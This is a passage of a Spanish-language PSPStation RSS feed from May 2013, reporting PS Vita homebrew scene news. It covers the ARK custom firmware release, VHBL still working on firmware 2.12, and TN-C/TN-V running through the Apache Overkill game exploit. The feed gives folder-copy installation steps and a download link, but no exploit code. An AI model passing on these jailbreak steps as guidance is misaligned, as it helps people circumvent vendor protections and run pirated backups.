class="aligncenter size-full wp-image-48182" alt="Final Fantasy X X 2 HD Remaster 2013 05 09 13 008.jpg 600 Final Fantasy X 2 HD Remaster: Imágenes de debut" src="http://www.pspstation.org/portal/wp-content/uploads/2013/05/Final-Fantasy-X-X-2-HD-Remaster_2013_05-09-13_008.jpg_600.jpg" width="600" height="338" title="Final Fantasy X 2 HD Remaster: Imágenes de debut" /></a></p><p
style="text-align: center;"><a
href="http://www.pspstation.org/portal/wp-content/uploads/2013/05/Final-Fantasy-X-X-2-HD-Remaster_2013_05-09-13_009.jpg_600.jpg"><img
class="aligncenter size-full wp-image-48183" alt="Final Fantasy X X 2 HD Remaster 2013 05 09 13 009.jpg 600 Final Fantasy X 2 HD Remaster: Imágenes de debut" src="http://www.pspstation.org/portal/wp-content/uploads/2013/05/Final-Fantasy-X-X-2-HD-Remaster_2013_05-09-13_009.jpg_600.jpg" width="600" height="338" title="Final Fantasy X 2 HD Remaster: Imágenes de debut" /></a></p><p
style="text-align: center;"><a
href="http://www.pspstation.org/portal/wp-content/uploads/2013/05/Final-Fantasy-X-X-2-HD-Remaster_2013_05-09-13_010.jpg_600.jpg"><img
class="aligncenter size-full wp-image-48184" alt="Final Fantasy X X 2 HD Remaster 2013 05 09 13 010.jpg 600 Final Fantasy X 2 HD Remaster: Imágenes de debut" src="http://www.pspstation.org/portal/wp-content/uploads/2013/05/Final-Fantasy-X-X-2-HD-Remaster_2013_05-09-13_010.jpg_600.jpg" width="600" height="338" title="Final Fantasy X 2 HD Remaster: Imágenes de debut" /></a></p><p
style="text-align: center;"><a
href="http://www.pspstation.org/portal/wp-content/uploads/2013/05/Final-Fantasy-X-X-2-HD-Remaster_2013_05-09-13_011.jpg_600.jpg"><img
class="aligncenter size-full wp-image-48185" alt="Final Fantasy X X 2 HD Remaster 2013 05 09 13 011.jpg 600 Final Fantasy X 2 HD Remaster: Imágenes de debut" src="http://www.pspstation.org/portal/wp-content/uploads/2013/05/Final-Fantasy-X-X-2-HD-Remaster_2013_05-09-13_011.jpg_600.jpg" width="600" height="338" title="Final Fantasy X 2 HD Remaster: Imágenes de debut" /></a></p><p
style="text-align: left;">Vía: Gematsu</p><p>La entrada <a
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isPermaLink="false">http://www.pspstation.org/portal/?p=48166</guid> <description><![CDATA[<p>Después de mucho tiempo sin novedades en la scene de PSV, desde Wololo nos sorprenden con la publicación de este paquete: ARK porteado para todos los exploits conocidos en firmwares menores a 2.02. NOTA: Teóricamente debería funcionar en todos los juegos, sin embargo algunas versiones no fueron testeadas por completo, por lo tanto podría haber algún [...]</p><p>La entrada <a
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href="http://www.pspstation.org/portal">PSPStation</a>.</p>]]></description> <content:encoded><![CDATA[<p
style="text-align: center;"><a
href="http://www.pspstation.org/portal/wp-content/uploads/2013/05/PS-Vita-3.jpg"><img
class="aligncenter size-full wp-image-48167" alt="PS Vita 3 [Release] ARK CEF para todos los exploits (hasta 2.02)  " src="http://www.pspstation.org/portal/wp-content/uploads/2013/05/PS-Vita-3.jpg" width="600" height="385" title="[Release] ARK CEF para todos los exploits (hasta 2.02)  " /></a></p><p
style="text-align: left;">Después de mucho tiempo sin novedades en la scene de PSV, desde Wololo nos sorprenden con la publicación de este paquete: ARK porteado para todos los exploits conocidos en firmwares menores a 2.02.</p><p>NOTA: Teóricamente debería funcionar en todos los juegos, sin embargo algunas versiones no fueron testeadas por completo, por lo tanto podría haber algún que otro fallo en alguna.</p><p
style="text-align: center;"><b><span
style="text-decoration: underline;"><span
style="font-size: xx-large;">ARK CEF</span></span></b></p><p
style="text-align: center;">::detalles::</p><p
style="text-align: left;">ARK es un CEF que corre en el emulador de PSP en PS Vita, es la versión para Vita del conocido PRO CFW de PSP.</p><p><b>Características:</b></p><ul><li>Ejecutar backups en ISO/CSO utilizando el driver <b>Inferno</b>; el driver que tiene mejor compatibilidad a la hora de correr backups.</li><li>NoDRM Engine para uso de dlcs no encriptados.</li><li>Aumento de velocidad de la Memory Stick.</li><li>Parches para juegos problemáticos en CFWs.</li><li>Soporte de plugins.</li><li>Soporte de ISO cache para conseguir una mayor velocidad de carga.</li><li>Menu recovery incorporado.</li><li>Ejecutar juegos de PSX (Sin sonido).</li></ul><div
align="center"><img
title="instalación" alt="newbotoninstalacion [Release] ARK CEF para todos los exploits (hasta 2.02)  " src="http://www.pspstation.org/images/smilies/newbotoninstalacion.png" border="0" /></div><ul><li>Descomprimir el archivo .7z descargado usando WinRar o similar (correspondiente a tu juego)</li><li>Abrir la carpeta de tu firmware (Si estás en 1.80, abrir la carpeta 180)</li><li>Copiar la carpeta correspondiente a tu versión del juego (Europea/Yanki)</li><li>Pegar esa carpeta en \PS Vita\PSAVEDATA\xxxxxxxxx\</li><li>Transferir a PS Vita utilizando Open CMA.</li></ul><p>La entrada <a
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href="http://www.pspstation.org/portal">PSPStation</a>.</p>]]></content:encoded> <wfw:commentRss>http://www.pspstation.org/portal/release-ark-cef-para-todos-los-exploits-hasta-2-02/2013/05/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>OFW 2.12 no bloquea los exploits VHBL</title><link>http://www.pspstation.org/portal/ofw-2-12-no-bloquea-los-exploits-vhbl/2013/05/</link> <comments>http://www.pspstation.org/portal/ofw-2-12-no-bloquea-los-exploits-vhbl/2013/05/#comments</comments> <pubDate>Wed, 08 May 2013 16:34:43 +0000</pubDate> <dc:creator>walkerdeath</dc:creator> <category><![CDATA[PS Vita]]></category> <category><![CDATA[Scene PS Vita]]></category> <category><![CDATA[2.12]]></category> <category><![CDATA[exploit]]></category> <category><![CDATA[OFW]]></category> <category><![CDATA[OFW 2.12]]></category> <category><![CDATA[ps vita]]></category> <category><![CDATA[Release]]></category> <category><![CDATA[the z]]></category> <category><![CDATA[vhbl]]></category> <guid
isPermaLink="false">http://www.pspstation.org/portal/?p=48103</guid> <description><![CDATA[<p>Esta mañana se publicó el OFW 2.12 para la  PS Vita. De acuerdo con las palabras de Sony, esta actualización &#8220;mejora la estabilidad del software mientras se usan algunas funciones&#8221; lo que seguramente signifique desde un &#8220;hemos arreglado un par de bugs bastante impactantes para el usuario&#8221; hasta &#8220;hemos parcheado un exploit&#8221;, pero hasta donde [...]</p><p>La entrada <a
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href="http://www.pspstation.org/portal">PSPStation</a>.</p>]]></description> <content:encoded><![CDATA[<p>Esta mañana se publicó el OFW 2.12 para la  PS Vita. De acuerdo con las palabras de Sony, esta actualización &#8220;mejora la estabilidad del software mientras se usan algunas funciones&#8221; lo que seguramente signifique desde un &#8220;hemos arreglado un par de bugs bastante impactantes para el usuario&#8221; hasta &#8220;hemos parcheado un exploit&#8221;, pero hasta donde os puedo contar, que se sepa hasta ahora, los exploits conocidos (aunque no publicados) no han sido parcheados por esta actualización.</p><p
style="text-align: center;"><a
href="http://www.pspstation.org/portal/wp-content/uploads/2013/05/psvita212.jpg"><img
class="size-full wp-image-48050 aligncenter" alt="psvita212 OFW 2.12 no bloquea los exploits VHBL" src="http://www.pspstation.org/portal/wp-content/uploads/2013/05/psvita212.jpg" width="480" height="272" title="OFW 2.12 no bloquea los exploits VHBL" /></a></p><p>El scener The Z no tardó en testear su port del VHBL (cargador de homebrew para la Vita mientras se usa el emulador de la PSP en la Vita) y confirmó que todavía funciona en el OFW 2.12. En el vídeo que hay abajo podéis observar como ejecuta Wagic (juego de cartas), gpsp (emulador de GBA), snes9x (emulador de la SNES) y PSP Filer (administrador de archivos) a través del VHBL.</p><p>The Z hace poco se dio cuenta de que el juego que usaba para portar el VHBL estaba única y desgraciadamente en las stores de Europa y Australia. Debido a esto, decidió posponer el lanzamiento de este port a un firmware futuro, ya que solo serviría para la gente que tuviera una cuenta europea. Así que el juego que usa para ejecutar el port de VHBL permanecerá en el anonimato, al menos por ahora.</p><p
style="text-align: center;">[There is a video that cannot be displayed in this feed. <a
href="http://www.pspstation.org/portal/ofw-2-12-no-bloquea-los-exploits-vhbl/2013/05/">Visit the blog entry to see the video.]</a></p><p>Y como un recordatorio, buscar exploits en modo usuario y portar el VHBL a ellos no es demasiado difícil, y podéis encontrar una guía <a
title="Guía práctica: Buscando Exploits con emulador JPCSP" href="http://www.pspstation.org/portal/guia-practica-buscando-exploits-con-emulador-jpcsp/2013/04/">aquí</a>, <a
href="http://www.pspstation.org/portal/encontrar-exploits-vhbl-sin-psp/2013/04/">aquí</a> y <a
href="http://www.pspstation.org/scene-ps-vita-137/portando-vhbl-juego-exploiteado-32372/">aquí</a>.</p><p>Fuente: wololo</p><p>La entrada <a
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href="http://www.pspstation.org/portal">PSPStation</a>.</p>]]></content:encoded> <wfw:commentRss>http://www.pspstation.org/portal/ofw-2-12-no-bloquea-los-exploits-vhbl/2013/05/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Exploit de The Z sigue funcionando en la 2.12</title><link>http://www.pspstation.org/portal/exploit-de-the-z-funciona-en-2-12/2013/05/</link> <comments>http://www.pspstation.org/portal/exploit-de-the-z-funciona-en-2-12/2013/05/#comments</comments> <pubDate>Wed, 08 May 2013 04:41:44 +0000</pubDate> <dc:creator>walkerdeath</dc:creator> <category><![CDATA[PS Vita]]></category> <category><![CDATA[Scene PS Vita]]></category> <category><![CDATA[2.12]]></category> <category><![CDATA[exploit]]></category> <category><![CDATA[OFW]]></category> <category><![CDATA[ps vita]]></category> <category><![CDATA[usermode]]></category> <category><![CDATA[usermode exploit]]></category> <guid
isPermaLink="false">http://www.pspstation.org/portal/?p=48052</guid> <description><![CDATA[<p>Y una vez mas, nuevo firmware, nuevo vídeo, mismo exploit, y todo gracias al desarrollador de PS Vita The Z. En esta ocasión nos enseña el VHBL funcionando en la versión 2.12 y además nos muestra como ejecuta algún juego como Wagic, también algún emulador como el EmuMaster y el emulador de GBA y demás. [...]</p><p>La entrada <a
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href="http://www.pspstation.org/portal">PSPStation</a>.</p>]]></description> <content:encoded><![CDATA[<p>Y una vez mas, nuevo firmware, nuevo vídeo, mismo <a
href="http://es.wikipedia.org/wiki/Exploit">exploit</a>, y todo gracias al desarrollador de PS Vita The Z. En esta ocasión nos enseña el VHBL funcionando en la versión 2.12 y además nos muestra como ejecuta algún juego como Wagic, también algún emulador como el EmuMaster y el emulador de GBA y demás. Si queréis saber mas ver el vídeo vosotros mismos y opinad lo que creáis. Aún no tenemos ninguna información sobre fecha de release ni nada por el estilo, pero en cuanto lo sepamos os pondremos al corriente. Ya sabéis, estad atentos.</p><h4 style="text-align: center;">En resumen, aún hay exploit para la 2.12.</h4><p
style="text-align: center;"><a
href="http://www.pspstation.org/portal/wp-content/uploads/2013/03/vhbl.jpg"><img
class="size-full wp-image-46031 aligncenter" alt="vhbl Exploit de The Z sigue funcionando en la 2.12" src="http://www.pspstation.org/portal/wp-content/uploads/2013/03/vhbl.jpg" width="450" height="225" title="Exploit de The Z sigue funcionando en la 2.12" /></a></p><p
style="text-align: center;">[There is a video that cannot be displayed in this feed. <a
href="http://www.pspstation.org/portal/exploit-de-the-z-funciona-en-2-12/2013/05/">Visit the blog entry to see the video.]</a></p><p>La entrada <a
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isPermaLink="false">http://www.pspstation.org/portal/?p=48046</guid> <description><![CDATA[<p>Según acaba de twittear el desarrollador de PS Vita The Z, podemos usar el exploit del Apache Overkill para usar un eCFW TN-C o TN-V en nuestras Vitas, pero únicamente si tenemos un OFW 2.02 o menor, esto significa que los que poseamos Vitas que tengan los OFW 2.05, 2.06, 2.010 y 2.11 no podremos [...]</p><p>La entrada <a
href="http://www.pspstation.org/portal/tn-c-y-tn-v-para-apache-overkil/2013/05/">TN-C y TN-V para el Apache Overkill OFW 2.02 y menores</a> aparece primero en <a
href="http://www.pspstation.org/portal">PSPStation</a>.</p>]]></description> <content:encoded><![CDATA[<p>Según acaba de twittear el desarrollador de PS Vita The Z, podemos usar el exploit del Apache Overkill para usar un eCFW TN-C o TN-V en nuestras Vitas, pero únicamente si tenemos un OFW 2.02 o menor, esto significa que los que poseamos Vitas que tengan los OFW 2.05, 2.06, 2.010 y 2.11 no podremos disfrutar de esta ventaja.</p><p
style="text-align: center;"><a
href="http://www.pspstation.org/portal/wp-content/uploads/2013/05/apache-overkill.png"><img
class="size-full wp-image-48047 aligncenter" alt="apache overkill TN C y TN V para el Apache Overkill OFW 2.02 y menores" src="http://www.pspstation.org/portal/wp-content/uploads/2013/05/apache-overkill.png" width="480" height="272" title="TN C y TN V para el Apache Overkill OFW 2.02 y menores" /></a></p><p>Los archivos que tenéis que descargar según The Z para hacer funcionar el exploit y usar el TN-C o TN-V los podéis encontrar <a
href="http://zload.net/v2/archives/file/?id=2417619">aquí</a>.</p><p>Próximamente si disponemos de una guía para hacerlo funcionar la publicaremos para todos aquellos que quieran disfrutar de esta ventaja, aunque seguramente el método sea el mismo que para el VHBL. Estad atentos.</p><p>La entrada <a
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href="http://www.pspstation.org/portal">PSPStation</a>.</p>]]></content:encoded> <wfw:commentRss>http://www.pspstation.org/portal/tn-c-y-tn-v-para-apache-overkil/2013/05/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> </channel> </rss>